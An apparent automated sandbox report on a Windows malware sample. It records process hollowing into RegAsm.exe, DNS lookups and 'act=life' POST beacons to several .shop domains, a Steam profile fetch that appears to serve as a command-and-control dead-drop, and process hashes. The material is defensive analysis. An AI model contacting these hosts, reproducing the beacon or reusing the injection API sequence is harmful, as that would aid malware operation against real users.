Sep 26, 2024 09:52:10.633261919 CEST	1.1.1.1	192.168.2.4	0x1c9e	No error (0)	drawzhotdog.shop		104.21.58.182	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:10.633261919 CEST	1.1.1.1	192.168.2.4	0x1c9e	No error (0)	drawzhotdog.shop		172.67.162.108	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:11.583125114 CEST	1.1.1.1	192.168.2.4	0xfd4f	No error (0)	fragnantbui.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:11.583125114 CEST	1.1.1.1	192.168.2.4	0xfd4f	No error (0)	fragnantbui.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:12.528748035 CEST	1.1.1.1	192.168.2.4	0xdc89	No error (0)	stogeneratmns.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:12.528748035 CEST	1.1.1.1	192.168.2.4	0xdc89	No error (0)	stogeneratmns.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:13.482624054 CEST	1.1.1.1	192.168.2.4	0xff22	No error (0)	reinforcenh.shop		104.21.77.130	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:13.482624054 CEST	1.1.1.1	192.168.2.4	0xff22	No error (0)	reinforcenh.shop		172.67.208.139	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:14.426199913 CEST	1.1.1.1	192.168.2.4	0x248b	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:15.908334970 CEST	1.1.1.1	192.168.2.4	0x481c	No error (0)	performenj.shop		172.67.189.2	A (IP address)	IN (0x0001)	false
Sep 26, 2024 09:52:15.908334970 CEST	1.1.1.1	192.168.2.4	0x481c	No error (0)	performenj.shop		104.21.51.224	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

gutterydhowi.shop

ghostreedmnu.shop

offensivedzvju.shop

vozmeatillu.shop

drawzhotdog.shop

fragnantbui.shop

stogeneratmns.shop

reinforcenh.shop

steamcommunity.com

performenj.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	58440	104.21.4.136	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:07 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-26 07:52:07 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:07 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hhpj6pbas8olv8ignnjbevr411; expires=Mon, 20 Jan 2025 01:38:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFOA0F2DyOGIww77PiXIGBillS3eG99nIlgUjO6incPOOUbwXEQ4e0OF7z%2BOOSWVkcoH7khPVMtGPhyb5vMDOLhDtCpnD9EXhkr1wNottrxYz1GrrcIgTjtPa6o2QOPkm7%2FQgw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac35ea8d72a4-EWR
2024-09-26 07:52:07 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	58441	188.114.97.3	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:08 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-26 07:52:08 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:08 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1pebasua4uouqst65c85n2vusp; expires=Mon, 20 Jan 2025 01:38:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cYJ7F0YxVOqmkLvk6nfPmPSQTU7mpOXxx53NJ1tbGY620rtk3zvRYG5eOPzBZniXKFjNlc%2BpLb3CsAX4puqDSposZ6yeYyvC86Cvz0mhKzAUfN6UJPdMKIxEPQdbTkETY%2Fe7cg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac3c19217d0e-EWR
2024-09-26 07:52:08 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	58442	188.114.96.3	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:09 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-26 07:52:09 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:09 UTC	770	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=dbu7jp4ns5b94iuqm9rv1970nj; expires=Mon, 20 Jan 2025 01:38:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BXm9y8%2FEhplIShUJVJsfKR9fxEh6IEEyaMpdvV2AY7wES7GiBSTRdx3fJugHZLoojMaJwoUl0tvFfl3wiAlvWJWlDVLtY3bT5E%2BKhgmJ%2FKuyNZSvvf3zBWsW4lF9xYgNu4bkOeFA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac425dc09e05-EWR
2024-09-26 07:52:09 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	58443	188.114.96.3	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:10 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-26 07:52:10 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:10 UTC	768	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nknlgn3nesvupmansaks93j5sn; expires=Mon, 20 Jan 2025 01:38:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SvDZxHj2fWVFvCxU9oJu9LYfzw9YhRZxB5eofr2MoKmRIKt187ZNZ2YFpygqUeU1sDBI%2Fh9eIgydT0k%2FF7t0hvLlh%2BJGKYtoFSPS2vRFe71aPGU36a4%2FGc9qwygPuoFkGNUr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac47ffc4425b-EWR
2024-09-26 07:52:10 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	58444	104.21.58.182	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:11 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-26 07:52:11 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:11 UTC	766	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s77kp8v757euoqstdvob4djm2d; expires=Mon, 20 Jan 2025 01:38:50 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1DT5xm03vqTgBG8IP6RZPJQkR3%2BcrEIMiSsZfZoI0U87oKhWR3blvWrIhKOkG9DV3hslPHG8xHhSw99zr0jd2cccC0o1pM3vn7JdY4xiJnJJ%2BrHlsGYhTVj8pJv%2B9rWVoJgQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac4dbb397298-EWR
2024-09-26 07:52:11 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	58445	188.114.97.3	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:12 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-26 07:52:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:12 UTC	762	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0d77jnfq5a9dj0dg0r690q6r9t; expires=Mon, 20 Jan 2025 01:38:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wLEPumwRovNQWbKM4COb8MWtydsvrSlKuxJDyu99nC4BRUTJsFAHUSms860V430fJdIIrTqNL7I21dVjN157rhCxxVYZhiuibeBt8FScDER3IXJNBBY%2BhncqHBSofiBjn5eu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac53ef0f7298-EWR
2024-09-26 07:52:12 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	58446	188.114.96.3	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:12 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-26 07:52:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:13 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pe4oeqgb4vsuqa9cm9oj1cqou7; expires=Mon, 20 Jan 2025 01:38:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A1PI7XtJAmvG4eTv6vuHa4IGAShYpniZKh0whYXUjoXvmcyaLKqN5fTcJMH00pPDXVqkCPc5ny8J4dqxS7GaVK2XdYM1sdw%2BU2Gy9GQ3kr43MO30YOIwnEM%2B2%2FPd4isUVlCVOPk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac59cf150c90-EWR
2024-09-26 07:52:13 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	58447	104.21.77.130	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-26 07:52:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:14 UTC	764	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bvfk96460fne8r39j53ib8h45s; expires=Mon, 20 Jan 2025 01:38:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZtroZL2K6tdfzrxLxri8e4t8DSWWkZ1GpPlfNjmzWAzsClroHUPxkEzPp%2B9LarjYCKTJNSmvwe42wCVw4VjIljmUosgFEHzTMUEFky1S4KvhxEI3F272uUhATol%2BmHlRutmj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac5f9821185d-EWR
2024-09-26 07:52:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	58448	104.102.49.254	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:15 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-26 07:52:15 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Sep 2024 07:52:15 GMT Content-Length: 34668 Connection: close Set-Cookie: sessionid=0263ac58a4fa705dceec142c; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-26 07:52:15 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-26 07:52:15 UTC	16384	IN	Data Raw: 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 5f 6d 65 6e 75 Data Ascii: supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div role="navigation" id="global_action_menu
2024-09-26 07:52:15 UTC	3768	IN	Data Raw: 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 20 49 6e 69 74 50 72 6f 66 69 6c 65 53 75 6d 6d 61 72 79 28 20 67 5f 72 67 50 72 6f 66 69 6c 65 44 61 74 61 5b 27 73 75 6d 6d 61 72 79 27 5d 20 29 3b 20 7d 20 29 3b 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 3c 2f 64 69 76 3e 0d 0a 09 3c 2f 64 69 76 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 63 6f 6e 74 65 6e 74 20 22 3e 0d 0a 09 09 3c 64 69 76 20 63 6c 61 Data Ascii: w more info</span></div><script type="text/javascript"> $J( function() { InitProfileSummary( g_rgProfileData['summary'] ); } ); </script></div></div></div></div></div><div class="profile_content "><div cla
2024-09-26 07:52:15 UTC	2	IN	Data Raw: 6c 3e Data Ascii: l>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	58449	172.67.189.2	443	6596	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 07:52:16 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: performenj.shop
2024-09-26 07:52:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 07:52:16 UTC	776	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 07:52:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s1o1p84cec2umj92akvp44qvsm; expires=Mon, 20 Jan 2025 01:38:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xHV80Ur5%2F6xoPbSI39%2FPQvopV8XarwfA3KCPTN55fLbX6%2FE9lEl9G66wMuWppRrhA9gEn8x1FTBqTvaTcqAZgamGjz5N0hOR474f%2F3Kq52Cfo%2BzmKsm2lJZbaG%2B%2FNaNghXo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c91ac6f0b2f0f4b-EWR
2024-09-26 07:52:16 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 07:52:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	03:52:04
Start date:	26/09/2024
Path:	C:\Users\user\Desktop\a7HdB2dU5P.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\a7HdB2dU5P.exe"
Imagebase:	0x5d0000
File size:	374'784 bytes
MD5 hash:	EC5818DECCA5D6703E23C9DB8A772997
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:52:04
Start date:	26/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:52:06
Start date:	26/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xc40000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	44.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	15.4%
Total number of Nodes:	39
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 028C2145 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,028C20B7,028C20A7), ref: 028C22B4
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 028C22C7
Wow64GetThreadContext.KERNEL32(00000300,00000000), ref: 028C22E5
ReadProcessMemory.KERNELBASE(00000304,?,028C20FB,00000004,00000000), ref: 028C2309
VirtualAllocEx.KERNELBASE(00000304,?,?,00003000,00000040), ref: 028C2334
WriteProcessMemory.KERNELBASE(00000304,00000000,?,?,00000000,?), ref: 028C238C
WriteProcessMemory.KERNELBASE(00000304,00400000,?,?,00000000,?,00000028), ref: 028C23D7
WriteProcessMemory.KERNELBASE(00000304,?,?,00000004,00000000), ref: 028C2415
Wow64SetThreadContext.KERNEL32(00000300,00D10000), ref: 028C2451
ResumeThread.KERNELBASE(00000300), ref: 028C2460

Strings

TerminateProcess, xrefs: 028C2343
ResumeThread, xrefs: 028C2281
SetThreadContext, xrefs: 028C226B
CreateProcessA, xrefs: 028C21F9
WriteProcessMemory, xrefs: 028C2258
VirtualAllocEx, xrefs: 028C2245
aryA, xrefs: 028C218B
GetThreadContext, xrefs: 028C221F
GetP, xrefs: 028C21C7
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 028C22B3
ReadProcessMemory, xrefs: 028C2232
VirtualAlloc, xrefs: 028C220C
ress, xrefs: 028C21CF
Load, xrefs: 028C2183

Memory Dump Source

Source File: 00000000.00000002.1693434535.00000000028C1000.00000040.00000800.00020000.00000000.sdmp, Offset: 028C1000, based on PE: false

Joe Sandbox IDA Plugin

